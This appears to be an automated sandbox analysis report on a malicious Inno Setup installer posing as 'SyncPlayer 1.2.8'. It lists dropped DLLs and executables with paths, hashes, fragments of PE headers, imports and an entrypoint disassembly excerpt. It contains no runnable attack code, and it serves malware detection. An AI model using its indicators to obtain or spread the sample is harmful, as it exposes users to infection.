SHA-512:	0E15D7A6833A8C2D77583ACB0CC28332D27371169F4E3E03B1CBB1D9C0F290B78D9CD3F5014522764758EDCF9B9392E50885E4C341A3832F49CBB9E3CB658D6E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...7.2[...........#................`..............j.........................p.......,....@... .........................K.... .......P..`....................`..L............................@......................$!...............................text...............................`.P`.data...............................@.0..rdata..............................@.`@/4..................................@.0@.bss..................................`..edata..K...........................@.0@.idata....... ......................@.0..CRT....,....0......................@.0..tls.... ....@......................@.0..rsrc...`....P......................@.0..reloc..L....`......................@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\pthreadGC2.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	70598
Entropy (8bit):	5.27556266441527
Encrypted:	false
SSDEEP:	1536:C+Sg9oMF5bqgRePiHyYelXevOzWAPehIt2uhZD:C49oI5bqliHyYcudAPehIt2Q5
MD5:	6F346D712C867CF942D6B599ADB61081
SHA1:	24D942DFC2D0C7256C50B80204BB30F0D98B887A
SHA-256:	72E6C8DD77FA7E10A7B05EF6C3E21D3F7E4147301B0BF6E416B2D33D4E19A9C3
SHA-512:	1F95A211D5DD3E58D4E2682F6BF2C5380B230E9907E2882097B77B99520CD2C788F43AD2ABCCE617DD8DED0043E4EF1C8B6E083C44688B23109868E6CDD2364C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....ZWH....X......!...8.d...&......`.............Hb.........................p......H+........ .........................................d............................................................................................................text....b.......d.................. ..`.data...D............h..............@....rdata...............j..............@..@.bss....`................................edata...............l..............@..@.idata...............\|..............@....rsrc...d...........................@....reloc..............................@..B/4...... .............................../19.....U.............................../35...................................../47.....!.... ........................../61..........0........................../73.....4....@........................../86..........P........................../97.....h....`..........

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\pthreadVC2.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	4.21823111580972
Encrypted:	false
SSDEEP:	384:W6E5etE/YrPfUMH+R/6NNzRUOI0havjIAGRdqMKHWjFYeOphngA9iHy2J0+:WpI+/QfU3N6NNR/atUfid9iHyY0+
MD5:	54AEDDC619EED2FAEEE9533D58F778B9
SHA1:	CA9D723B87E0C688450B34F2A606C957391FBBF4
SHA-256:	EE15E6E3F82C48461EB638C1EA11019AE9E3E303E067E879115C6272139026E7
SHA-512:	7CEC39F32804109B3D502027D1EC42A594C1E4A2D93512195C60BD41AAD7E32A8B0EB21A0EE859FECB403EE939EEBC4608D9D27A4002B8C282DE32F696136506
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........2.].\.].\.].\..R._.\.].].k.\.?.O.X.\...V.X.\..Z.\.\...X.^.\.Rich].\.................PE..L...1..O...........!.....P...P.......T.......`.......................................................................e.......`..P.......p.......................l....................................................`...............................text...xE.......P.................. ..`.rdata..G....`... ...`..............@..@.data...............................@....rsrc...p...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\swresample-0.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	103438
Entropy (8bit):	6.451459241635566
Encrypted:	false
SSDEEP:	3072:3xSmkPMjmRj0RqKgBUmLDkw+OCocHNMs8LJ:BSmk8mx04EtMs2
MD5:	75135E7BB53A99DF134A049457637AF8
SHA1:	C06D0C49457F3FFA6C077C6AD774BD264038B1D3
SHA-256:	A3565FCCDF1D74ABBAF7AA5A095D8BB20567DB55B76303FDD6CE4B2143C37951
SHA-512:	4E2C516CC8DF26DC541CA4DB9B0803B72CE4D84A0BF75595431BA6808413F0D64A94DE00A61B50DB5B2B8EBE5F59F09880993BA0DE8EEECFEFD75C8EDEE0AA26
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...9.2[...........#................`........0....\|p.........................0............@... .........................$...............l.................... ......................................................X................................text...............................`.P`.data...<....0......................@.P..rdata...6...@...8..................@.`@.rodata..............T..............@.`@/4.......!......."...V..............@.0@.bss..................................`..edata..$............x..............@.0@.idata...............\|..............@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc...l...........................@.0..reloc....... ......................@.0B................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\swscale-2.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	502798
Entropy (8bit):	6.518579223762868
Encrypted:	false
SSDEEP:	6144:ptzLXexEuVq48FRnGiRnJiyn1ipwdw1IXWAqBXkNZdNqSwA7YOl0+ajnzrEUTZkI:p0wdw1IXWAqBXkNZqSFlJaj0Q5gc3
MD5:	1B236618E8F5A0BE415C5D2543057208
SHA1:	5C325931FFCBA70FF799D58E0A892DCC7858E2A3
SHA-256:	67E725889C8053E39A2E440A669766643AC08E1EE6900A114DB423A6206F10EE
SHA-512:	33EBD8A38DE97649D74BFDB413240A2A0CAFFD62B8C41EE206AF7FB9317B646348375905D5D7A591A13B266BC66D862E459CDC4B659ED8958D96A518B9A9C636
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...:.2[...........#................`..............j................................e.....@... ......................@.."....P..8.......\....................................................p......................LQ...............................text...d...........................`.P`.data...<...........................@.P..rdata...-..........................@.`@.rodata.@...........................@.P@/4......L...........................@.0@.bss..................................`..edata.."....@.......x..............@.0@.idata..8....P.......~..............@.0..CRT....,....`......................@.0..tls.... ....p......................@.0..rsrc...\...........................@.0..reloc..............................@.0B................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	2565120
Entropy (8bit):	6.743990559862836
Encrypted:	false
SSDEEP:	49152:tBCeezHk9xf76j9r750ZVA09v0ybQMBEsvjlmB7fRn6:aEzcyZVZ9v0yUKvjlmT
MD5:	5FBD9E9B8796E7B4A40FD070F0F43F8E
SHA1:	A8F7C0ED0A95D0DE6760C6F98805B31CED75AE79
SHA-256:	028A437887E0A5A12493C3EC0A5D23C6ED182CD0E88E40F0E8180904ED6A41C1
SHA-512:	02A40D5DC8044B8875F8846204D4F0C76C1BEE7E81422E0CB209BDA05C46F88E61B802520F445FABFF5DD17B9DFBD0DE82B9EE8312F5863AF3C902BF9F7C1754
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....,.L..........'......."..........."......."...@...........................'......j'.....................................t.".......#..............................................................................."..............................text.....".......".................`....rdata..\|<...."..>....".............@..@.data....... #..0....#.............@....rsrc.........#......8#.............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	InnoSetup Log SyncPlayer, version 0x30, 7845 bytes, 980108\user, "C:\Users\user\AppData\Local\SyncPlayer 1.2.8"
Category:	dropped
Size (bytes):	7845
Entropy (8bit):	5.027137627495333
Encrypted:	false
SSDEEP:	96:yUgW6nlpTli4S89N+eOIhAX7ICSss/LnpCsYKMsisLsIRFdbob3oJsiWr8k:FgW6lpTl6HIhIICSsAnJ9M
MD5:	F19D9C9FEFAAD79CB8032000CF3A0B9A
SHA1:	2D082D8223CE560E29C443114441D21C624599BB
SHA-256:	613CED948DB25348300F6704C467F0EE5972DBD1EA2196F6ECF5E6FE7F1D367E
SHA-512:	6A1409891E7D46CD8FC5AD587144BA9CDC7048CA5BB9646392337C1C4F573B7BB4FECD2177635A771A50DBC080BB28BB26F1B835BDCFB5B140037D12C216DC98
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................SyncPlayer......................................................................................................................SyncPlayer......................................................................................................................0...5.......%................................................................................................................./.........h../......M....980108.user-C:\Users\user\AppData\Local\SyncPlayer 1.2.8.............5.].. ............IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...........................................!MAIN....-1..(...dll:kernel32.dll.CreateFileA..............$...dll:kernel32.dll.WriteFile............"...dll:kernel32.dll.CloseHandle........"...dll:kernel32.dll.ExitProcess........%...dll:User32.dl

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	710426
Entropy (8bit):	6.472191768138159
Encrypted:	false
SSDEEP:	12288:q0QfKb+GlrPj37VzHEA6Yd2qKvJ4wyyrNQIRZCGkKLch/bcXExy4P:qfKb+GlrPj37VzHEA6B3vDaCCGkF/bcc
MD5:	192C8E6CE2BE9654E76962992BFD6CF7
SHA1:	455161093A42E611574A4B19994250BD664D084A
SHA-256:	50014C3C9131D818BB3105B65A4FCFEF85873C966644F781481079194ACCD075
SHA-512:	81B6B073A3119CA81071AE8D43A0EE9FD6C43E6EDDA2FD0B094A96CDED2E312DE1F62C343E0D6E11922101D2650A07B37C51D1618A843C1E6F5E3AA9821E2A25
Malicious:	true
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................0..........0=.......@....@..............................................@...............................%...`...@..........................................................................................................CODE....h/.......0.................. ..`DATA....@....@.......4..............@...BSS..........`.......F...................idata...%.......&...F..............@....tls.................l...................rdata...............l..............@..P.reloc.............................@..P.rsrc....@...`...@...n..............@..P.....................6..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\utlis.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	221696
Entropy (8bit):	6.044861431828742
Encrypted:	false
SSDEEP:	6144:oy6EiahKdODexmbUwTiTy8CfJMtoupgmRc:oyTYsTiTy8SJMtPF
MD5:	A142AE884D8D6B0BB9FAC780087E2934
SHA1:	7161A8467A6CF4AC9EF82223F44D2D1DD814F575
SHA-256:	B134D81F09281112E4AD8A3FD9702A6434489D82282F8A4835E59739BCC60F7B
SHA-512:	5986645BAAAE04C4FFA6E26D552A89A48513F3BDF8B02AAE3F8ECD8C175B16C77C8BC80523D9EE6C67DF8133E0B8EE86A1BEE666DD5F4710E922C226BF939349
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6.OW..OW..OW..h...GW..h...XW..OW..FU..F/..WW..F/...W..F/..5W..Q...LW..F/..JW..F/..NW..Q...NW..F/..NW..RichOW..........PE..L...@W.Q...........!.........N............... ............................................@.........................P........................................@..l#...$...............................e..@............ ......0...@....................text...;........................... ..`.rdata...... ......................@..@.data...8]......."..................@....rsrc............0..................@..@.reloc..rp...@...r..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\xvidcore.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	791481
Entropy (8bit):	6.217228015320556
Encrypted:	false
SSDEEP:	24576:A0Q0PEiRC+tRj9fPFU0L2gNAtFhlHdQPdbf3lpXmxi5OKD:A0Q/DAD
MD5:	4962D3BB23AAA3B389F986335E6C4EE2
SHA1:	1B01A8F626A0CBAEA18622CD4DCFB3C0CC632AD8
SHA-256:	C205DF696F37D6C6AA0832F2B776B2E461665FFB5588A7AB7D35BCF24BE4506D
SHA-512:	38F1FBC8A35D481FC7B12D85FEA29A228E5A5918CBEE6C18B90CA8C1E43A295088E28FABE1D5ED832821CAF1E2B6FA573759819D2232455D9EE163F706B91143
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=.Y...........!................`.............`b.........................`......Y......... ......................`..`....p..................................H:..................................................<q...............................text...............................`.P`.rotext............................. .P`.data...............................@.`..rdata...............l..............@.`@.rodata..2.......4..................@.P@/4......xc...P...d... ..............@.0@.bss..................................`..edata..`....`......................@.0@.idata.......p......................@.0..CRT....,...........................@.0..tls.... ...........................@.0..reloc..H:.......<..................@.0B/14.................................@.@B/29....._...........................@..B/41.................................@..B/55.......... ..........

C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp

Download File

Process:	C:\Users\user\Desktop\OFjT8HmzFJ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	699904
Entropy (8bit):	6.464180156327239
Encrypted:	false
SSDEEP:	12288:S0QfKb+GlrPj37VzHEA6Yd2qKvJ4wyyrNQIRZCGkKLch/bcXExy4:ifKb+GlrPj37VzHEA6B3vDaCCGkF/bcQ
MD5:	0D05E478EC0E67B3670C32F7FCD99AC2
SHA1:	BBEF8AE7B0E306E6172E2A0D9D6BACEBF7F71886
SHA-256:	ABF4A9FAD2C3C735450CD35F7AE7255A52C0DA48432C41682598536A9A708360
SHA-512:	677790B8807661E5ED9386BFD12A892DD9FEF732D3228902A0718D0D64CBA25C9C23B7FF67827373A77307DC1B41695ECB9EA64B71AE622F69BED8BB84FF3AF7
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................0..........0=.......@....@..............................................@...............................%...`...@..........................................................................................................CODE....h/.......0.................. ..`DATA....@....@.......4..............@...BSS..........`.......F...................idata...%.......&...F..............@....tls.................l...................rdata...............l..............@..P.reloc.............................@..P.rsrc....@...`...@...n..............@..P.....................6..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-E0FEP.tmp\_isetup\_RegDLL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	4.026670007889822
Encrypted:	false
SSDEEP:	48:ivuz1hEU3FR/pmqBl8/QMCBaquEMx5BC+SS4k+bkguj0KHc:bz1eEFNcqBC/Qrex5iSKDkc
MD5:	0EE914C6F0BB93996C75941E1AD629C6
SHA1:	12E2CB05506EE3E82046C41510F39A258A5E5549
SHA-256:	4DC09BAC0613590F1FAC8771D18AF5BE25A1E1CB8FDBF4031AA364F3057E74A2
SHA-512:	A899519E78125C69DC40F7E371310516CF8FAA69E3B3FF747E0DDF461F34E50A9FF331AB53B4D07BB45465039E8EBA2EE4684B3EE56987977AE8C7721751F5F9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................H................\|.......\|.......\|......Rich............PE..L....M;J..................................... ....@..........................@..............................................l ..P....0..@............................................................................ ..D............................text............................... ..`.rdata....... ......................@..@.rsrc...@....0......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-E0FEP.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-E0FEP.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	4.058068250306624
Encrypted:	false
SSDEEP:	192:46MTeid8XO+N2RPnqkHM2rrRbwz6ln+rnbdaBlJBRJBBti94muL+Xh2IwoXAsLi2:ST6O+NwqAM+k6lnWnboZDXyRPtAsLiA
MD5:	B6F11A0AB7715F570F45900A1FE84732
SHA1:	77B1201E535445AF5EA94C1B03C0A1C34D67A77B
SHA-256:	E47DD306A9854599F02BC1B07CA6DFBD5220F8A1352FAA9616D1A327DE0BBF67
SHA-512:	78A757E67D21EB7CC95954DF15E3EEFF56113D6B40FB73F0C5F53304265CC52C79125D6F1B3655B64F9A411711B5B70F746080D708D7C222F4E65BAD64B1B771
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q.X.5.6.5.6.5.6.5.7.7.6.W.%.6.6...<.=.6...8.4.6...2.4.6.Rich5.6.........................PE..L....g.E...........!.....@...0.......E.......P.......................................................................P.......P..(............................p.......................................................P...............................text..._5.......@.................. ..`.rdata.......P.......P..............@..@.data...@....`.......`..............@....reloc.......p.......p..............@..B........................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-E0FEP.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.215994423157539
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12pS5SKvkc:sfJEVYlvxaX12EF
MD5:	4FF75F505FDDCC6A9AE62216446205D9
SHA1:	EFE32D504CE72F32E92DCF01AA2752B04D81A342
SHA-256:	A4C86FC4836AC728D7BD96E7915090FD59521A9E74F1D06EF8E5A47C8695FD81
SHA-512:	BA0469851438212D19906D6DA8C4AE95FF1C0711A095D9F21F13530A6B8B21C3ACBB0FF55EDB8A35B41C1A9A342F5D3421C00BA395BC13BB1EF5902B979CE824
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d...XW:J..........#............................@.............................`..............................................................<!.......P..@....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...@....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-E0FEP.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.999247683865846
TrID:	Win32 Executable (generic) a (10002005/4) 98.86% Inno Setup installer (109748/4) 1.08% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	OFjT8HmzFJ.exe
File size:	6'401'622 bytes
MD5:	c776a9efdaba18f15a5f554ae52c0385
SHA1:	32e0de85a222239a0c5a4f8ef283739902c738bb
SHA256:	5dea8691394058b4c4e88ac3fc070dd30c5ea528ad07d9fe8d1e6dde566adac7
SHA512:	f5f815cba389917229a624d43cdf21ce4ca7f1c7c816de25034744ad94dd930418f45b39bd90f4d0bc79a021946fd1f119d6217a768b844ec27744f49da655ec
SSDEEP:	196608:yakrzX8aK5bABGehKapJ0kEz/HVl82386d:4rzd8EJ37Q38W
TLSH:	FB563346578B9E20D3A59D7D1D6638060A3ACE94BE37C028730EEB0DEB72EB3D455712
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	2d2e3797b32b2b99

Static PE Info

General

Entrypoint:	0x409b24
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	1
OS Version Minor:	0
File Version Major:	1
File Version Minor:	0
Subsystem Version Major:	1
Subsystem Version Minor:	0
Import Hash:	884310b1928934402ea6fec1dbd3cf5e

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFC4h
push ebx
push esi
push edi
xor eax, eax
mov dword ptr [ebp-10h], eax
mov dword ptr [ebp-24h], eax
call 00007F2C50B96417h
call 00007F2C50B9761Eh
call 00007F2C50B99849h
call 00007F2C50B99890h
call 00007F2C50B9C183h
call 00007F2C50B9C2EAh
xor eax, eax
push ebp
push 0040A1DBh
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
xor edx, edx
push ebp
push 0040A1A4h
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
mov eax, dword ptr [0040C014h]
call 00007F2C50B9CD10h
call 00007F2C50B9C877h
lea edx, dword ptr [ebp-10h]
xor eax, eax
call 00007F2C50B99E79h
mov edx, dword ptr [ebp-10h]
mov eax, 0040CDECh
call 00007F2C50B964C8h
push 00000002h
push 00000000h
push 00000001h
mov ecx, dword ptr [0040CDECh]
mov dl, 01h
mov eax, 004072ECh
call 00007F2C50B9A708h
mov dword ptr [0040CDF0h], eax
xor edx, edx
push ebp
push 0040A15Ch
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
call 00007F2C50B9CD80h
mov dword ptr [0040CDF8h], eax
mov eax, dword ptr [0040CDF8h]
cmp dword ptr [eax+0Ch], 01h
jne 00007F2C50B9CEBAh
mov eax, dword ptr [0040CDF8h]
mov edx, 00000028h
call 00007F2C50B9AB09h
mov edx, dword ptr [0040CDF8h]
cmp eax, dword ptr [edx+00h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xd000	0x950	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x11000	0x2c00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xf000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x9244	0x9400	da5e804937248407d9036cd9588c0b6e	False	0.610034839527027	data	6.530816793916065	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0xb000	0x24c	0x400	fc1836b9abb0b5690e90c671f715abf1	False	0.3076171875	data	2.7354399295454255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0xc000	0xe50	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xd000	0x950	0xa00	bb5485bf968b970e5ea81292af2acdba	False	0.414453125	data	4.430733069799036	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xe000	0x8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xf000	0x18	0x200	9ba824905bf9c7922b6fc87a38b74366	False	0.052734375	data	0.2044881574398449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0x10000	0x8b4	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0x11000	0x2c00	0x2c00	90081bc22e54bac7907f64c1d8037df6	False	0.322265625	data	4.45362355533689	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x11354	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	Dutch	Netherlands	0.5675675675675675
RT_ICON	0x1147c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	Dutch	Netherlands	0.4486994219653179
RT_ICON	0x119e4	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	Dutch	Netherlands	0.4637096774193548
RT_ICON	0x11ccc	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	Dutch	Netherlands	0.3935018050541516
RT_STRING	0x12574	0x2f2	data			0.35543766578249336
RT_STRING	0x12868	0x30c	data			0.3871794871794872
RT_STRING	0x12b74	0x2ce	data			0.42618384401114207
RT_STRING	0x12e44	0x68	data			0.75
RT_STRING	0x12eac	0xb4	data			0.6277777777777778
RT_STRING	0x12f60	0xae	data			0.5344827586206896
RT_RCDATA	0x13010	0x2c	data			1.2045454545454546
RT_GROUP_ICON	0x1303c	0x3e	data	English	United States	0.8387096774193549
RT_VERSION	0x1307c	0x4b8	COM executable for DOS	English	United States	0.2706953642384106
RT_MANIFEST	0x13534	0x560	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4251453488372093

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, WideCharToMultiByte, TlsSetValue, TlsGetValue, MultiByteToWideChar, GetModuleHandleA, GetLastError, GetCommandLineA, WriteFile, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetSystemTime, GetFileType, ExitProcess, CreateFileA, CloseHandle
user32.dll	MessageBoxA
oleaut32.dll	VariantChangeTypeEx, VariantCopyInd, VariantClear, SysStringLen, SysAllocStringLen
